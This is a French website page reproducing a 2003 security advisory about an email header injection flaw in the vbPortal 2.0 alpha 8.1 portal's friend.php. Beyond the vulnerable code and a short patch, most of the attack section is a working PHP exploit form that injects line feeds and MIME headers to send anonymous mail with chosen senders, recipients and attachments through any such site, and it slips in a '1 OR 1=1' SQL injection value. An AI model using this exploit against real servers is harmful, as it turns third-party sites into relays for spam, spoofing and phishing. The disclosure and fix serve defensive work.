Bienvenue sur horslimite.net
Ce site vous propose tutoriels de programmations (php javascript ...) forum compteur de connectés, compteur de visites, script php, téléchargement de logiciel, Blog etc...
 
aide webmastering webmaster compteur forum Menu
home
  • News
  • Recherche
  • Téléchargement
  • Statistiques
  • Tutoriels      
  • PHP     
  • JavaScript     
  • Crack
  • Linux     
  • Back orifice
  • Faille include (php)
  • Membre      
  • Inscription
  • Liste des membres
  • Votre profil
  • Compteur de visites
  • Compteur de connectés
  • Votre carte membre
  • Messagerie interne
  • Blog
  • Service      
  • Whois
  • Header d\\\\'une page
  • Obtenir une IP
  • Générateur de méta-tags
  • Forum



    Votez pour ce site au Weborama
    > tutoriel > exploit > vbPortalAnonymousMail


    vbPortalAnonymousMail

    vbPortal
    ********
    Informations :
    °°°°°°°°°°°°°°
    Langage : PHP
    Version : 2.0 alpha 8.1
    Website : http://www.vbportal.com
    Problème : Envoi de mails anonymes

    Developpement :
    °°°°°°°°°°°°°°°
    vbPortal est un portail dont le code est plus ou moins basé sur PHP-Nuke, mais qui est fait pour s'ajouter au forum
    vBulletin et d'une certaine manière le compléter (en faire un CMS complet).
    Le problème est qu'on peut depuis n'importe quel vbPortal envoyer un mail anonyme, et choisir le destinataire,
    l'expediteur, le type du message, les fichiers attachés, le message,...
    Seul défaut, on ne pourra pas supprimer le titre du message donné par défaut par vbPortal, mais on pourra y ajouter
    ce que l'on veut.
    Chaque vbPortal se transforme donc en un proxy SMTP.
    La faille se trouve dans le fichier friend.php :
    -----------------------------------------------------------------------------------------------------------------------------
    [...]
    function SendStory($sid, $yname, $ymail, $fname, $fmail) {
    global $sitename, $nukeurl, $prefix;

    $result2=mysql_query("select title, time, topic from $prefix"._stories." where sid=$sid");
    list($title, $time, $topic) = mysql_fetch_row($result2);

    $result3=mysql_query("select topictext from $prefix"._topics." where topicid=$topic");
    list($topictext) = mysql_fetch_row($result3);

    $subject = ""._INTERESTING." $sitename";
    $message = ""._HELLO." $fname:\n\n"._YOURFRIEND." $yname "._CONSIDERED."\n\n\n$title\n("._FDATE." $time)\n"._FTOPIC." $topictext\n\n"._URL.": $nukeurl/article.php?sid=$sid\n\n"._YOUCANREAD." $sitename\n$nukeurl";
    mail($fmail, $subject, $message, "From: \"$yname\" <$ymail>\nX-Mailer: PHP/" . phpversion());
    $title = urlencode($title);
    $fname = urlencode($fname);
    Header("Location: friend.php?op=StorySent&title=$title&fname=$fname");
    }
    [...]
    function SendSite($yname, $ymail, $fname, $fmail) {
    global $sitename, $slogan, $nukeurl;
    $subject = ""._INTSITE." $sitename";
    $message = ""._HELLO." $fname:\n\n"._YOURFRIEND." $yname "._OURSITE." $sitename "._INTSENT."\n\n\n"._FSITENAME." $sitename\n$slogan\n"._FSITEURL." $nukeurl\n";
    mail($fmail, $subject, $message, "From: \"$yname\" <$ymail>\nX-Mailer: PHP/" . phpversion());
    Header("Location: friend.php?op=SiteSent&fname=$fname");
    }
    [...]
    switch($op) {
    case "SendStory":
    SendStory($sid, $yname, $ymail, $fname, $fmail);
    break;
    [...]
    case "SendSite":
    SendSite($yname, $ymail, $fname, $fmail);
    break;
    [...]

    }
    ?>
    -----------------------------------------------------------------------------------------------------------------------------
    Les deux fonction SendStory() et SendSite() envoient des emails. Deux variables ($yname et $ymail) modifiables se trouvent
    dans les headers. On peut donc y injecter ce qu'on veut, grâce au caractère LF (line feed), %0A en ASCII.
    Je ne vais pas détailler ici toute l'utilisation de cette faille, un texte sur ce sujet est en attente de publication
    et sera sur le net d'ici 1 à 2 mois.
    Avec cette faille on peut envoyer un message anonyme avec l'ip du site buggé comprenant fichier attaché, type du contenu,...
    et permettant de changer le message, le destinataire, d'ajouter un sujet,...
    Voici un exemple d'application simple pour cette faille, qui change le mail via les variables $ymail et $fname.
    On peut ici choisir l'expediteur, le nom de l'expediteur, le destinataire, le type du message, le message et ajouter un
    sujet tout en ayant le choix entre les deux fonctions buggées :
    -----------------------------------------------------------------------------------------------------------------------------
    <?
    if (!isset($Send)){
    ?>

    <form action="<? echo $PHP_SELF; ?>">
    URL : <input type="text" name="url"><br>
    From : <input type="text" name="from"><br>
    Your Name : <input type="text" name="yname"><br>
    To : <input type="text" name="fmail"><br>
    Content Type : <input type="text" name="contenttype" value="text/plain"><br>
    Subject To Add : <input type="text" name="newsubject"><br>
    Op. : <br>
    <input type="radio" checked name="op" value="SendSite">SendSite<br>
    <input type="radio" name="op" value="SendStory">SendStory<br>
    Message : <br><br><textarea name="message" rows="6" cols="50"></textarea>
    <br><br><input type="submit" name="Send" value="Verify">
    </form>

    <?
    }else{

    echo "URL : ".$url."<br>";
    echo "From: ".$from."<br>";
    echo "Your Name: ".$yname."<br>";
    echo "To: ".$fmail."<br>";
    echo "Content Type: ".$contenttype."<br>";
    echo "Added Subject: ".$newsubject."<br>";
    echo "Message : <br><br>".str_replace("\n","<br>",$message);

    if ($op=="SendStory"){ $sid="1%20OR%201=1"; }

    $ymail=$from.">%0A";
    $ymail.="Subject:".$newsubject."%0A";
    $ymail.="Content-Type:multipart/mixed;%20boundary=Anonymous;";
    $ymail.="%0A%0A%0A";
    $fname="%0A--Anonymous%0A";
    $fname.="Content-Type:".$contenttype."%0A%0A";
    $fname.=str_replace("\n","%0A",$message);
    $fname.="%0A%0A%0A";
    $fname.="--Anonymous--";
    $fname.="%0A%0A%0A";

    $url.="/friend.php?sid=".$sid."&op=".$op."&yname=".$yname."&ymail=".$ymail."&fmail=".$fmail."&fname=".$fname;

    echo "<br><br><b><a href=\"$url\">Ok, Mail It</a></b>";
    }
    ?>
    -----------------------------------------------------------------------------------------------------------------------------
    Rappelons que l'utilisateur choisis dans la requête dans cet exploit (le premier enregistré) recevra lui aussi une copie
    du mail, car un destinataire a déjà été définit. Le nôtre viendra s'ajouter après.


    Solution :
    °°°°°°°°°°
    Un patch est disponible sur http://www.phpsecure.info, et la version 3.0b a été corrigée.
    Il suffit, pour la version 2.0 alpha 8.1, d'ajouter dans friend.php, juste avant la ligne :
    -------------
    switch($op) {
    -------------
    les lignes :
    ------------------------------------------------------------------------------------------
    if (eregi("\n",$yname) OR eregi("\n",$ymail) OR eregi("\r",$yname) OR eregi("\r",$ymail)){
    die("Patched");
    }
    ------------------------------------------------------------------------------------------

    Credits :
    °°°°°°°°°
    Auteur : frog-m@n
    E-mail : leseulfrog@hotmail.com
    Website : http://www.phpsecure.info
    Date : 19/11/2003
    Copyright frog-m@n http://www.phpsecure.info/v2/zone/pArticle
     
    page générée en 79 millisecondes